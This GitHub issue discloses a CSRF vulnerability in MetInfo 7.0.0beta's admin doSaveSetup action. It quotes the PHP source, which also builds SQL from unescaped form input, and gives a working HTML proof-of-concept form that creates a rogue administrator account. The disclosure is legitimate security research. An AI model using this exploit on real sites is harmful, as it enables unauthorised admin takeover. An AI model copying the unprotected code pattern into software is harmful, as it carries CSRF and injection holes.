Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

MetInfo 7.0.0beta allows a CSRF attack to add a user account via a doSaveSetup action to admin/index.php, as demonstrated by an admin/?n=admin&c=index&a=doSaveSetup URI. #1

Open
nnewkin opened this issue Oct 9, 2019 · 0 comments
Open

MetInfo 7.0.0beta allows a CSRF attack to add a user account via a doSaveSetup action to admin/index.php, as demonstrated by an admin/?n=admin&c=index&a=doSaveSetup URI. #1

nnewkin opened this issue Oct 9, 2019 · 0 comments

Comments

@nnewkin
Copy link
Owner

nnewkin commented Oct 9, 2019 •
edited
Loading

code:
at app/system/admin/admin/index.class.php
source code:

 public function doSaveSetup()
    {
        global $_M;
        $data = array();
        $data['id'] = isset($_M['form']['id']) ? $_M['form']['id'] : '';
        $data['admin_email'] = isset($_M['form']['admin_email']) ? $_M['form']['admin_email'] : '';
        $data['admin_pass'] = isset($_M['form']['admin_pass']) ? $_M['form']['admin_pass'] : '';
        $data['admin_name'] = isset($_M['form']['admin_name']) ? $_M['form']['admin_name'] : '';
        $data['admin_id'] = isset($_M['form']['admin_id']) ? $_M['form']['admin_id'] : '';
        $data['admin_op'] = isset($_M['form']['admin_op']) ? $_M['form']['admin_op'] : '';
        $data['admin_issueok'] = isset($_M['form']['admin_issueok']) ? $_M['form']['admin_issueok'] : '';
        $data['langok'] = isset($_M['form']['langok']) ? $_M['form']['langok'] : '';
        $data['admin_type'] = isset($_M['form']['admin_pop']) ? $_M['form']['admin_pop'] : '';
        $data['admin_login_lang'] = isset($_M['form']['admin_login_lang']) ? $_M['form']['admin_login_lang'] : '';
        $data['admin_check'] = isset($_M['form']['admin_check']) ? $_M['form']['admin_check'] : 0;
        $data['admin_group'] = isset($_M['form']['admin_group']) ? $_M['form']['admin_group'] : '';
        $data['admin_mobile'] = isset($_M['form']['admin_mobile']) ? $_M['form']['admin_mobile'] : '';
        if (!$data['admin_id']){
            $this->error();
        }

        if ($data['admin_name']){
            $query = "SELECT admin_id FROM {$_M['table']['admin_table']} WHERE admin_name='{$data['admin_name']}' AND id!='{$data['id']}'";
            $check_name = DB::get_one($query);
            if ($check_name){
                $this->error($_M['word']['admin_name_repeat']);
            }
        }


        $list = $this->public_handle($data);

        if (!$list) {
            $this->error($_M['word']['user_emailuse_v6']);
        }

        $query = "SELECT admin_id FROM {$_M['table']['admin_table']} WHERE admin_id='{$data['admin_id']}' AND id!='{$data['id']}'";
        $check_username = DB::get_one($query);

        $log_name = $data['id'] ? 'save' : 'added';
        if ($data['admin_id'] == $check_username['admin_id']){
            //写日志
            logs::addAdminLog('metadmin',$log_name,'jsok','doSaveSetup');
            $this->error($_M['word']['js78']);
        }

        if (!$data['id']){
            if (!$data['admin_pass']){
                $this->error($_M['word']['please_password']);
            }
            $result = $this->database->insert($list);
        }else{
            $list['id'] = $data['id'];
            $result = $this->database->update_by_id($list);
        }

        if (!$result){
            //写日志
            logs::addAdminLog('metadmin',$log_name,'dataerror','doSaveSetup');
            $this->error($_M['word']['dataerror']);
        }
        //写日志
        logs::addAdminLog('metadmin',$log_name,'jsok','doSaveSetup');
        $this->success('',$_M['word']['jsok']);
    }

Global search code about csrf.

metinfo_csrf

No code found to defend against CSRF attacks.

exp:
After the administrator logs in, opening the following page will add a user named attack to the administrator.password is attack.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.156.209/mt7/admin/?n=admin&c=index&a=doSaveSetup" method="POST">
      <input type="hidden" name="admin&#95;id" value="attack" />
      <input type="hidden" name="admin&#95;pass" value="attack" />
      <input type="hidden" name="admin&#95;pass&#95;replay" value="attack" />
      <input type="hidden" name="admin&#95;name" value="" />
      <input type="hidden" name="admin&#95;mobile" value="" />
      <input type="hidden" name="admin&#95;email" value="" />
      <input type="hidden" name="admin&#95;group" value="3" />
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="langok" value="metinfo&#45;cn&#45;en" />
      <input type="hidden" name="admin&#95;pop" value="s1802&#45;metinfo&#45;s1301&#45;c34&#45;c76&#45;c3&#45;c4&#45;c42&#45;c72&#45;c38&#45;c44&#45;c43&#45;c73&#45;c74&#45;c2&#45;c55&#45;c47&#45;c48&#45;c70&#45;c52&#45;c71&#45;c53&#45;c46&#45;s1201&#45;s9999&#45;s1202&#45;s1509&#45;s1510&#45;s1511&#45;s1106&#45;s1404&#45;s1406&#45;s1405&#45;s1905&#45;s1505&#45;s1800&#45;s1801&#45;s1904&#45;a50002&#45;a10070&#45;s1506&#45;s1601&#45;s1603&#45;s1200&#45;s1004&#45;s1005&#45;s1002&#45;s1100&#45;s1007&#45;s1003&#45;s1604&#45;s1605&#45;s1508&#45;s1901&#45;s1902&#45;s1903&#45;s1104" />
      <input type="hidden" name="admin&#95;issueok" value="" />
      <input type="hidden" name="admin&#95;check" value="" />
      <input type="hidden" name="admin&#95;op" value="metinfo&#45;add&#45;editor&#45;del" />
      <input type="hidden" name="submit&#95;type" value="save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@nnewkin